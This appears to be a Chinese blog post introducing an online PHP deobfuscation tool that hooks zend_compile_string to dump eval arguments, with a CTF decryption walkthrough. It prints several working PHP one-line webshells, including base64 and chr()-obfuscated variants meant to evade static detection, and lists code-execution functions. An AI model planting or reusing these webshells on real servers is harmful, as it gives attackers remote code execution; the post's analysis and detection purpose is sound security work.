诈尸水一篇博文。8月份写的一个解密加密PHP源码的工具( http://d.poetn.cc:7727/),打算小范围使用。刚好最近看到 PwnHub 上有个解密的题目,p神微博上吐槽居然有人花钱解密了,2333 那分享一波另类解密思路吧。

从 WebShell 混淆说起

经常跟 WebShell 打交道的朋友会比较清楚,最觉见的 WebShell 是这样的:

1<?php eval($_POST['cmd']); ?>

然后这种 Shell 很容易就会被静态查杀的正则匹配出来,于是就出现了变形,比如这样:

1

2

3

4<?php

$a="eval";

$$a($_POST['cmd']);

?>

隐藏一下 eval 关键字,比如用一下 base64 就是这样的:

1

2

3

4<?php

$a=base64_decode("ZXZhbA==");

$$a($_POST['cmd']);

?>

这里给个我之前录的 AntSword 过狗的一个视频感受一下: AntSword过狗演示(1)

反正就是各种变形,比如下面这样的:

1

2

3

4

5

6

7<?php

$_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU

(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).

$_uU(110);$_=$_fF("",$_cC);@$_();

?>

诸如此类的 WebShell 特别多,每次手工去解挺麻烦的,有没有什么好思路呢?答案是:有

一句话 WebShell 共性

一句话 WebShell 再怎么变形,它们的行为是一致的:「执行客户端发送过来的代码」,为了方便嘛。

关于这个「代码执行」,方法就比较多了,举几个简单常见的能引起代码执行的函数(方法):

1

2

3

4

5

6

7

8

9

10

11

12eval

preg_replace 函数中的 /e 修饰符 create_function

assert

call_user_func

call_user_func_array

usort

uksort

array_map

array_walk

array_filter

$a($b) // 动态组装代码执行

unserialize //反序列化导致代码执行

说这些函数有什么用呢?是想收集然后做正则吗?

累不死你

基于 Hook 机制检测

调用 eval 等代码执行的函数,最终会调用 php 内核的zend_compile_string函数。

所以呢,我们只用Hook住这个函数,就差不多了,具体关于 Hook 机制的讲解,后面找到好的文章了再贴上来。

提一嘴子,D盾、云锁等安全防护产品说的 「免疫一句话 WebShell」 就是基于这个原理来的。据我所知,D哥应该是国内最早搞这个的。任你一句话再怎么变形,最终还是逃不过这道门。

哦对了,说到 D 盾的一句话免疫机制,D哥之前说过,只杀「参数 eval」,所以还是给了一点点可以使用 eval 的机会滴,具体就不在这说了,不然会被打死(逃..)

再来说解密,很多加密方式也是这样,先把源代码字符串各种捣腾,然后在执行的时候,会还原回来,还原回来之后的代码是字符串,那要怎么执行呢? Bingo, 用 eval 执行喽。

所以说,我们完全可以 Hook 住 zend_compile_string,然后在每次调用的时候呢,把这个函数的参数 dump 出来,就能达到解密的效果了。

也可以参考一下 TSRC 的这篇文章:浅谈变形PHP WEBSHELL检测

在线解密工具 PHPDecode

这个工具做了什么?

把 PHP 代码上传之后,执行,然后 dump 出 eval 的参数,以完成解密效果

酱酱〜首页

酱酱〜登录后

显示解密记录,下载解密的每一步中间代码,任务出错后可手动重试任务

快夸一下我的页面真好看,哈哈哈哈好不要脸

单文件解密

单文件解密的前提是需要这个单文件能单独执行,如果该文件执行解密逻辑的时候需要配合其它文件触发,就得一起喽,没啥说的

以这个 WebShell 为例:

1

2

3

4

5

6

7<?php

$_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU

(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).

$_uU(110);$_=$_fF("",$_cC);@$_();

?>

将上述代码保存成 1.php ,然后上传,就能看到解密后的源代码了:

1function __lambda_func(){eval($_POST[1]);}

__lambda_func 说明是匿名函数,可知上面的代码是 create_function 来实现代码执行的,这个 WebShell 的密码是 1

除了解 WebShell, 像 phpjm 这样的是可以用这种办法轻松解的(如果有变量名混淆,是还原不回变量名的)。

多文件解密

如果直接访问该文件不能触发解密,就用到多文件解密了。

本来想以 PwnHub 傻 fufu 的工作日 这道题为例来说,看了一下时间,还在比赛中,还是不说了,后面等结束了再说吧,哈哈哈。

我们还是以上面那个代码为例子来说怎么用

1

2

3

4

5

6

7<?php

$_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU

(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).

$_uU(110);

?>

将上述代码保存成 123.php

由于我们把 $_=$_fF("",$_cC);@$_(); 这段代码干掉了,导致不能触发 eval, 所以单独上传这个文件是不行滴。

编写 index.php

1

2

3

4<?php

include "123.php";

$_=$_fF("",$_cC);@$_();

?>

在 index.php 里面把1的文件导入进来,然后触发(实际解密的文件解密代码肯定比我给的例子要直观的多)

将两个文件打包成 zip 文件,然后上传

酱酱〜,就解完了

实战解密之「PwnHub 傻 fufu 的工作日

具体非解密部分的细节在此不表述,我们只关注解密这部分。

拿到 UploadFile.class.php,部分代码如下:

从头部加密信息来看,是用的 PHPJiaMi,看到代码里面有 eval,那这种方式解密成功率就很大了。

直接解该文件没成功,说明存在调用才会解密的情况,从 index.php 里发现了调用的代码。

1

2

3

4

5

6

7if($_FILES) {

include 'UploadFile.class.php';

$dist = 'upload';

$upload = new UploadFile($dist, 'upfile');

$data = $upload->upload();

}

?>

把原来的 index.php 拿过来,我们需要在上面2中的代码前构造表单里的变量,让它能成功执行,所以我们最终的 index.php 是这个样子

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18<?php

$_FILES["upfile"] = array(

"name" => "1303.jpg",

"type" => "image/jpeg",

"tmp_name" => "/tmp/php/phpSDsuf7",

"error" => 0,

"size" => 1024

);

// 上面的代码是加的

if($_FILES) {

include 'UploadFile.class.php';

$dist = 'upload';

$upload = new UploadFile($dist, 'upfile');

$data = $upload->upload();

}

?>

....后面省略

然后把 index.php 和 UploadFile.class.php 打个 zip 包, 注意 index 所在的目录不要打包进去

1$ zip -r mytest.zip index.php UploadFile.class.php

把 mytest.zip 上传后,如果出现解密失败,点后面的重试,就能看到结果了。

最后

说下服务端,基于 Flask 和 MongoDB 做的,总共花了2天时间(写页面就花了1天半,强迫症害死人),暂时就先这样吧,不完善的地方还比较多,不打算现在放出来给大家玩了,就只邀请了几个朋友参与内测。

在线解的话肯定不怎么灵活,建议呢,自己去装老外写的那个 evalhook 来解「防同行马」喽〜

邀请码

如果有兴趣,欢迎来体验「会删档」的内测,有什么好的建议欢迎邮件交流

PS: 还有一个页面没写完 2333

[20180727邀请码]9728c6ce-27c9-5d85-9204-abe897c90378

eabdb169-2933-5ac3-a7ca-25ec5e8c1a16

fb011a3a-dd7e-5ae4-b3f5-90157274e333

84a786f3-06e1-59c0-9c5c-d8a1c9458355

2b8c0b16-f410-5d51-92ee-c8734106d326

586f70e6-dc35-5e99-851f-cd960064001e

f89e78a1-6d1e-5ed8-9df9-ab7aa4d54732

13eab2a0-74ba-5e62-80be-cf901d5dc482

ef1b533a-69b0-5af0-b483-361ca59282bf

047ad00f-56f7-545b-9995-98d7c0c19c10

5b3f6054-a004-585e-97f5-cafa1d74ecbe

eea8749c-dda2-5aac-ab9c-72ca275228db

[20170921邀请码]873225de-fd6f-5de3-b55a-9eb43629215d

0d2de847-f873-5801-8dfe-4252694da74d

7c8875c4-6214-5875-b6fd-1d619b76e671

62dcca8f-388a-5999-b65b-9c1fc94af7e4

b1779fed-4a3f-5e42-acac-0da991a65c53

php本地解密,PHPDecode 在线解密工具相关推荐

  1. 【加解密】在线加密工具推荐

    最近在定位一些网络问题时,需要抓取物理口报文进行分析.但是在wan出口的报文已经被AES对称加密,抓到的报文是密文,无法确认某些关键报文是否从wan出口发出.这个定位问题带来了不便. 当时在想,我知道 ...

  2. 免费在线PHP加密、解密、混淆源代码工具-toolfk.com

    本文要推荐的[ToolFk]是一款程序员经常使用的线上免费测试工具箱,ToolFk 特色是专注于程序员日常的开发工具,不用安装任何软件,只要把内容贴上按一个执行按钮,就能获取到想要的内容结果.Tool ...

  3. 在线BASE64加密解密、UrlEncode编码/解码、native/ascii在线转换工具 -toolfk程序员工具网

    本文要推荐的[ToolFk]是一款程序员经常使用的线上免费测试工具箱,ToolFk 特色是专注于程序员日常的开发工具,不用安装任何软件,只要把内容贴上按一个执行按钮,就能获取到想要的内容结果.Tool ...

  4. 看我如何用云函数撸一个PC小程序代码包在线解密工具

    前一段时间突发奇想,想白嫖腾讯云云函数的能力来实现无服务模式下 PC 端小程序包的在线解密(注意这里仅仅是做解密). 因为业余时间以捣鼓有意思的东西作为娱乐活动,对于小程序技术这块本身理解也是比较深刻 ...

  5. 最新轻量级PHP在线解密工具源码V1.2版

    正文: 最新轻量级PHP在线解密工具源码V1.2版,在线可解: 部分goto.PHPJiaMi.Enphp.vidun.phpdp(神盾).tianyiw,无数据库,上传程序到服务器,访问域名就可以用 ...

  6. 免费在线PHP加密、解密、混淆源代码工具- toolfk.com

    本文要推荐的[ToolFk]是一款程序员经常使用的线上免费测试工具箱,ToolFk 特色是专注于程序员日常的开发工具,不用安装任何软件,只要把内容贴上按一个执行按钮,就能获取到想要的内容结果.Tool ...

  7. CTF部分在线解密工具 CTF大本营

    在线工具 在线二进制转换为字符串:http://www.txttool.com/wenben_binarystr.asp 十六进制到文本字符串:https://www.bejson.com/conve ...

  8. JS sojson.vX在线解密工具-附源码

    前言 此文仅用于技术科普,教育与研究用途,请勿用于商业甚至非法用途,否则一切后果自负.若用户利用此文章而受到惩处,本人及本平台对其行为概不负责,亦不承担任何连带责任. 在线工具 Sojson.v4ht ...

  9. JS解密,在线JS解密解密

    分享一个JS解密,在线JS解密,在线工具.是SOJSON在线解析 开发的工具. JS解密 1.本工具主要是为了解决JS解密,另外支持JS去注释,JS美化,JS压缩,JS混淆加密功能.. 2.可以上传J ...

  10. 一个可以在线解密qmc和ncm等音乐加密格式的网站源码

    介绍 这是一个可以在线解密QQ音乐.网易云音乐付费音乐加密格式的网站源码. 由于程序编写使用了ES6语法,Blob,Web Worker特性,过旧的浏览器可能无法使用. 截图 特性 支持的格式 QQ ...

最新文章

  1. python中的doc_基于Python获取docx/doc文件内容代码解析
  2. Android Studio 第六十一期 - Android ToastUtil
  3. 首次吃了一颗带奶糖味的消炎药,不知道管用不
  4. How to run a estimaton
  5. OpenCV连接的组件Connected Components的实例(附完整代码)
  6. JAVA程序设计----函数基础1
  7. linux版本wannacry,Wannacry勒索软件解决方案
  8. 现在补上个人项目的分析照片
  9. html5播放视频自动循环播放,HTML5 通过Vedio标签实现视频循环播放的示例代码
  10. linux生产者进程数为3个,linux 多线程面试题_linux 进程线程_linux 线程 进程(3)
  11. python怎么显示提示_Python中如何显示程序进度
  12. 【计算机网络笔记】交换方式:电路/分组/报文交换
  13. Android 8(1),腾讯字节爱奇艺网易华为实习面试汇总
  14. python脚本操作excel
  15. 单机:Oracle 19C 数据库一键安装
  16. 51单片机最小系统的c语言,89c51单片机最小系统,89c51最小系统原理图的功能详解...
  17. 数字化时代的数据安全与治理
  18. 方便的电商历史价格查询网站asd-price,只需三个字母
  19. 微信外部链接无法使用浏览器打开 微信链接打不开的解决方案
  20. 漫步数理统计二十三——泊松分布

热门文章

  1. 硬件产品的成本构成——研发、产品边际成本和服务
  2. 实数系统的构造与发展历程
  3. 我的计算机无法远程连接桌面,远程桌面无法连接怎么办?windows 无法使用远程桌面连接的解决方法...
  4. 关于银河麒麟服务器操作系统里使用TongWeb做为应用服务器出现的前台提交中文后台获取到的是乱码的问题处理思路
  5. COM:求助根系分泌物:受胁迫植物从土壤中招募益生菌的适应性机制
  6. 老毛子Padavan固件,小米3,mini路由一键自动更新固件
  7. matlab单层感知器画线,使用MATLAB编写单层感知器
  8. 90后最流行的英文名
  9. 各大it公司历届笔试面试题
  10. Swarm-BZZ踩坑日记之 如何在Linux下使用docker开30个bzz节点